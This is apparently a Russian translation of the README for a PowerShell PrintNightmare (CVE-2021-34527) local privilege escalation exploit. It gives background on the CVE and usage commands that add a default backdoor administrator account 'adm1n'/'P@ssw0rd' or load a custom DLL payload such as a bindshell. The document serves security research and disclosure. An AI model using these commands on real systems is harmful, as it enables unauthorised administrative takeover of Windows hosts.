
Скрипт PowerShell для локального повышения привилегий через PrintNightmare (CVE-2021-34527). Внедряет пользовательскую DLL-нагрузку для добавления локального администратора, используя API Print Spooler без удаленного RPC/SMB.
Caleb Stewart | John Hammond | 1 июня 2021
ОБНОВЛЕНИЕ 2 июня 2021: Microsoft выпустила предупреждение по CVE-2021-34527, корректно определяя этот конкретный идентификатор как эксплойт уязвимости PrintNightmare. Ранее сообщество предполагало, что CVE-2021-1675 «и есть PrintNightmare», поскольку патч от 8 июня не устранил эту проблему. Этот репозиторий идентичен оригиналу, просто с другим именем CVE.
CVE-2021-34527 — это критическая уязвимость удалённого выполнения кода и локального повышения привилегий, получившая название «PrintNightmare».
Эксплойты Proof-of-concept были опубликованы для возможности удалённого выполнения кода (Python, C++), а также версия на C# для локального повышения привилегий. Мы не встречали нативной реализации на чистом PowerShell и захотели попробовать свои силы в доработке и переработке этого эксплойта.
Этот скрипт PowerShell выполняет локальное повышение привилегий (LPE) с использованием техники атаки PrintNightmare.

Протестировано на Windows Server 2016 и Windows Server 2019.
По умолчанию добавляет нового пользователя в локальную группу администраторов:
Import-Module .\cve-2021-34527.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
Передайте собственную DLL-нагрузку, чтобы сделать что-то ещё.
Import-Module .\cve-2021-34527.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"